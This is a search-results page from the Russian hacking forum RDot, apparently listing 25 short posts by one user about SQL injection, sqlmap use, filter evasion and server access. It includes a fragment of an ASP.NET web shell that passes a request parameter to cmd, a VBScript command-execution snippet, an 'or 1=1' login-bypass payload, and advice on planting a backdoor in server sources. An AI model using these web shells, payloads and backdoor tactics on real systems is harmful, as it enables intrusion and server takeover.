Вернуться   RDot > Поиск по форуму

Показано с 1 по 25 из 176.
На поиск затрачено 0.01 сек.
Поиск: Сообщения от: HeartLESS
Раздел: Web-среда/Web-applications 25.05.2018, 12:38
Ответов: 1
Просмотров: 12,656
Автор HeartLESS
SQLmap не подходит или я тебя не понял?

SQLmap не подходит или я тебя не понял?
Раздел: Web-среда/Web-applications 03.04.2018, 17:02
Ответов: 3
Просмотров: 7,664
Автор HeartLESS
через триггеры как-то пытаться. создать...

через триггеры как-то пытаться.
создать функцию, которая будет исправлять твоё значение и триггер на before insert
Раздел: Web-среда/Web-applications 27.03.2017, 23:37
Ответов: 1
Просмотров: 10,325
Автор HeartLESS
--ignore-certificate-errors ?

--ignore-certificate-errors ?
Раздел: Web-среда/Web-applications 25.10.2016, 20:56
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
или если там есть какой-нибудь другой сервак, или...

или если там есть какой-нибудь другой сервак, или если ты можешь слить сорцы сервера, впилить туда бэкдор, перезалить и дождаться перезапуска сервака.
Раздел: Инструментарий/Tools 09.10.2016, 12:30
Ответов: 315
Просмотров: 400,696
Автор HeartLESS
Talking Там просто сделали нормальный установщик под все...

Там просто сделали нормальный установщик под все оси. Кому это не нужно - так же может скачать .jar файл на выбор
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers 22.09.2016, 09:36
Ответов: 41
Просмотров: 44,386
Автор HeartLESS
Видели subq нотацию в гугле?

Видели subq нотацию в гугле?
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers 21.09.2016, 21:45
Ответов: 41
Просмотров: 44,386
Автор HeartLESS
глупая мысль. сделай там \n перед юнионом что ли....

глупая мысль. сделай там \n перед юнионом что ли. Ну или кавычек понапихай. Ему реально не нравится на том месте union, он что-то другое хочет
Раздел: Сервисы, БД, Серверы/Network services, Databases, Servers 21.09.2016, 08:31
Ответов: 41
Просмотров: 44,386
Автор HeartLESS
Судя по ошибке, он хочет чтобы ты закрыл запрос. ...

Судя по ошибке, он хочет чтобы ты закрыл запрос.
Кстати, натрави sqlmap с error based векторами для всех субд. А там stacked query нет?
Раздел: Web-среда/Web-applications 20.09.2016, 20:47
Ответов: 2
Просмотров: 10,972
Автор HeartLESS
username=\&password= or 1=1 -- - Или в...

username=\&password= or 1=1 -- -

Или в постгресе иначе экранируется? Так или иначе, не изобретай велосипед, всегда есть prepared statement
Раздел: Web-среда/Web-applications 14.09.2016, 13:24
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
пропусти sqlmap через бурп, а там подменяй все...

пропусти sqlmap через бурп, а там подменяй все параметры как надо. SQLmap'у в принципе достаточно указать ?a=sqli, а в бурпе все менять, если тебе влом писать свою проксю
Раздел: Инструментарий/Tools 14.09.2016, 00:19
Ответов: 315
Просмотров: 400,696
Автор HeartLESS
Можно. Потом поделись с нами.

Можно. Потом поделись с нами.
Раздел: Web-среда/Web-applications 14.07.2016, 12:49
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
вообще sqlmap поддерживает пользовательские...

вообще sqlmap поддерживает пользовательские tamper скрипты.
не знаю только, будет ли там возможность ответ парсить.

если sqlmap не находит уязвимости, попробуй руками префиксы/суффиксы...
Раздел: Оффтоп/Offtopic 02.07.2016, 21:57
Ответов: 800
Просмотров: 372,483
Автор HeartLESS
Ну что там у хохлов?

Ну что там у хохлов?
Раздел: Оффтоп/Offtopic 30.06.2016, 19:20
Ответов: 49
Просмотров: 48,070
Автор HeartLESS
http://risovach.ru/upload/2016/06/mem/a-chto-esli_...

http://risovach.ru/upload/2016/06/mem/a-chto-esli_117723337_orig_.jpg

И теперь в глазах сообщества Кирилл такой
https://upload.wikimedia.org/wikipedia/ru/4/4c/Robert_Downey_Jr_as_Tony_Stark.jpg
Раздел: Коммерция/Сommerce 24.06.2016, 18:27
Ответов: 3
Просмотров: 5,202
Автор HeartLESS
Why don't you demand on 15 years of html5...

Why don't you demand on 15 years of html5 experience? Several years of TV, XBOX, PS4 and refrigerator pentesting?
Also code analysis of pascal, c/c++, go, f#, brainfuck and ook. And lisp.
Раздел: Web-среда/Web-applications 02.06.2016, 11:26
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
Скорее всего сначала select count(*), а потом уже...

Скорее всего сначала select count(*), а потом уже сам запрос.
Иногда можно раскрутить, если можешь дополнительный селект делать на case random
Раздел: Web-среда/Web-applications 12.03.2016, 10:51
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
Molofya, %09 не работает как вариант для пробела?

Molofya, %09 не работает как вариант для пробела?
Раздел: Криптография/Cryptography 04.02.2016, 10:55
Ответов: 5
Просмотров: 19,762
Автор HeartLESS
Видишь ли, 128 бит не дадут однозначного ответа о...

Видишь ли, 128 бит не дадут однозначного ответа о типе хэша.
hash = atob('+OzMy3quATTDOucTxGFJFw==')
l='';
for(i=0;i<hash.length;i++){
l += ("00" + hash.charCodeAt(i).toString(16)).slice(-2) ;...
Раздел: Web-среда/Web-applications 29.01.2016, 11:04
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
<%@ Page Language="C#" %> <%@ Import...

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%=
Process.Start(
new ProcessStartInfo(
"cmd","/c " + Request["c"]
)
{
UseShellExecute = false,...
Раздел: Коммерция/Сommerce 26.01.2016, 12:45
Ответов: 18
Просмотров: 14,498
Автор HeartLESS
регулярок так и нет?)

регулярок так и нет?)
Раздел: Web-среда/Web-applications 26.01.2016, 10:59
Ответов: 3,618
Просмотров: 2,331,649
Автор HeartLESS
что за writable_dir, почему оно вообще должно...

что за writable_dir, почему оно вообще должно работать?

Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd " & cmd , нет? Или тот же exec
Раздел: Оффтоп/Offtopic 16.12.2015, 10:20
Ответов: 2
Просмотров: 4,599
Автор HeartLESS
Узнал, что есть слово "ихний" и как оно...

Узнал, что есть слово "ихний" и как оно пишется.

Вопрос - зачем на пыхе?

По коду - лучше бы убрать за веб, тк если уж к тебе что-то будут заливать, зачем им знать хэшсумму от твоего реального...
Раздел: Коммерция/Сommerce 30.11.2015, 14:31
Ответов: 3
Просмотров: 6,457
Автор HeartLESS
до 4х лет, видимо

до 4х лет, видимо
Раздел: Коммерция/Сommerce 20.10.2015, 10:44
Ответов: 9
Просмотров: 11,597
Автор HeartLESS
Цены от $13 в сутки - это за какой объем? К...

Цены от $13 в сутки - это за какой объем? К примеру, один get запрос с 10 000 хостов сколько будет стоить?
Раздел: Инструментарий/Tools 02.10.2015, 13:14
Ответов: 315
Просмотров: 400,696
Автор HeartLESS
https://github.com/beched/libpywebhack

https://github.com/beched/libpywebhack
Показано с 1 по 25 из 176.

 
Быстрый переход


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot